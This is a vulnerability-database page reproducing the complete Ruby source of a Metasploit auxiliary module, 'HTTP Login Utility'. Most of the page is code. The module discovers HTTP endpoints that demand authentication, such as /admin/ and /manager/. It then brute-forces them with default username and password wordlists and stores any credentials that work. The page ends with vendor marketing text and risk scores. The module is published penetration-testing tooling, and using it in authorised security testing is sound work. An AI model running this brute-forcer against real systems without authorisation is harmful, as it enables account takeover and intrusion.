Lucene search
K

HTTP Login Utility

🗓️ 09 Oct 2014 17:14:33Reported by hdm <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 68 Views

HTTP Login Utility module for attempting to authenticate to an HTTP service. Includes options for user and password files, authentication URI, and request type

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'metasploit/framework/credential_collection'
require 'metasploit/framework/login_scanner/http'

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::AuthBrute

  include Msf::Auxiliary::Scanner

  def initialize
    super(
      'Name'           => 'HTTP Login Utility',
      'Description'    => 'This module attempts to authenticate to an HTTP service.',
      'Author'         => [ 'hdm' ],
      'References'     =>
        [
          [ 'CVE', '1999-0502'] # Weak password
        ],
      'License'        => MSF_LICENSE,
      # See https://github.com/rapid7/metasploit-framework/issues/3811
      #'DefaultOptions' => {
      #  'USERPASS_FILE' => File.join(Msf::Config.data_directory, "wordlists", "http_default_userpass.txt"),
      #  'USER_FILE' => File.join(Msf::Config.data_directory, "wordlists", "http_default_users.txt"),
      #  'PASS_FILE' => File.join(Msf::Config.data_directory, "wordlists", "http_default_pass.txt"),
      #}
    )

    register_options(
      [
        OptPath.new('USERPASS_FILE',  [ false, "File containing users and passwords separated by space, one pair per line",
          File.join(Msf::Config.data_directory, "wordlists", "http_default_userpass.txt") ]),
        OptPath.new('USER_FILE',  [ false, "File containing users, one per line",
          File.join(Msf::Config.data_directory, "wordlists", "http_default_users.txt") ]),
        OptPath.new('PASS_FILE',  [ false, "File containing passwords, one per line",
          File.join(Msf::Config.data_directory, "wordlists", "http_default_pass.txt") ]),
        OptString.new('AUTH_URI', [ false, "The URI to authenticate against (default:auto)" ]),
        OptString.new('REQUESTTYPE', [ false, "Use HTTP-GET or HTTP-PUT for Digest-Auth, PROPFIND for WebDAV (default:GET)", "GET" ])
      ])
    register_autofilter_ports([ 80, 443, 8080, 8081, 8000, 8008, 8443, 8444, 8880, 8888 ])

    register_advanced_options(
      [
        OptString.new('HttpSuccessCodes', [ false, 'Comma separated list of HTTP response codes or ranges to promote as successful login', '200,201,300-308']),
      ]
    )

    deregister_options('USERNAME', 'PASSWORD')
  end

  def to_uri(uri)
    begin
      # In case TARGETURI is empty, at least we default to '/'
      uri = "/" if uri.blank?
      URI(uri)
    rescue ::URI::InvalidURIError
      raise RuntimeError, "Invalid URI: #{uri}"
    end
  end

  def find_auth_uri
    if datastore['AUTH_URI'].present?
      paths = [datastore['AUTH_URI']]
    else
      paths = %W{
        /
        /admin/
        /auth/
        /manager/
        /Management.asp
        /ews/
      }
    end

    paths.each do |path|
      uri = ''

      begin
        uri = to_uri(path)
      rescue RuntimeError => e
        # Bad URI so we will not try to request it
        print_error(e.message)
        next
      end

      uri = normalize_uri(uri.path)

      res = send_request_cgi({
        'uri'     => uri,
        'method'  => datastore['REQUESTTYPE'],
        'username' => '',
        'password' => ''
      }, 10)

      next unless res
      if res.redirect? && res.headers['Location'] && res.headers['Location'] !~ /^http/
        path = res.headers['Location']
        vprint_status("Following redirect: #{path}")
        res = send_request_cgi({
          'uri'     => path,
          'method'  => datastore['REQUESTTYPE'],
          'username' => '',
          'password' => ''
        }, 10)
        next if not res
      end
      next unless res.code == 401

      return path
    end

    return nil
  end

  def target_url
    proto = "http"
    if rport == 443 or ssl
      proto = "https"
    end
    "#{proto}://#{vhost}:#{rport}#{@uri.to_s}"
  end

  def run_host(ip)
    if (datastore['REQUESTTYPE'] == "PUT") && (datastore['AUTH_URI'].blank?)
      print_error("You need need to set AUTH_URI when using PUT Method !")
      return
    end

    extra_info = ""
    if rhost != vhost
      extra_info = " (#{rhost})"
    end

    @uri = find_auth_uri
    if ! @uri
      print_error("#{target_url}#{extra_info} No URI found that asks for HTTP authentication")
      return
    end

    @uri = "/#{@uri}" if @uri[0,1] != "/"

    print_status("Attempting to login to #{target_url}#{extra_info}")

    cred_collection = build_credential_collection(
      username: datastore['HttpUsername'],
      password: datastore['HttpPassword']
    )

    begin
      success_codes = parse_http_success_codes(datastore['HttpSuccessCodes'])
    rescue ArgumentError => e
      fail_with(Msf::Exploit::Failure::BadConfig, "HttpSuccessCodes in invalid: #{e.message}")
    end

    scanner = Metasploit::Framework::LoginScanner::HTTP.new(
      configure_http_login_scanner(
        uri: @uri,
        method: datastore['REQUESTTYPE'],
        cred_details: cred_collection,
        stop_on_success: datastore['STOP_ON_SUCCESS'],
        bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
        http_success_codes: success_codes,
        connection_timeout: 5
      )
    )

    msg = scanner.check_setup
    if msg
      print_brute :level => :error, :ip => ip, :msg => "Verification failed: #{msg}"
      return
    end

    scanner.scan! do |result|
      credential_data = result.to_h
      credential_data.merge!(
          module_fullname: self.fullname,
          workspace_id: myworkspace_id
      )
      case result.status
      when Metasploit::Model::Login::Status::SUCCESSFUL
        print_brute :level => :good, :ip => ip, :msg => "Success: '#{result.credential}'"
        credential_data[:private_type] = :password
        credential_core = create_credential(credential_data)
        credential_data[:core] = credential_core
        create_credential_login(credential_data)
        :next_user
      when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
        if datastore['VERBOSE']
          print_brute :level => :verror, :ip => ip, :msg => "Could not connect"
        end
        invalidate_login(credential_data)
        :abort
      when Metasploit::Model::Login::Status::INCORRECT
        if datastore['VERBOSE']
          print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'"
        end
        invalidate_login(credential_data)
      end
    end

  end

  private
  def parse_http_success_codes(codes_string)
    codes = []
    parts = codes_string.split(',')
    parts.each do |code|
      code_parts = code.split('-')
      if code_parts.length > 1
        int_start = code_parts[0].to_i
        int_end = code_parts[1].to_i
        unless int_start > 0 && int_end > 0
          raise ArgumentError.new("#{code} is not a valid response code range.")
        end
        codes.append(*(int_start..int_end))
      else
        int_code = code.to_i
        unless int_code > 0
          raise ArgumentError.new("#{code} is not a valid response code.")
        end
        codes << int_code
      end
    end
    codes
  end

end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

03 May 2024 12:00Current
7.3High risk
Vulners AI Score7.3
CVSS 27.5
EPSS0.51933
68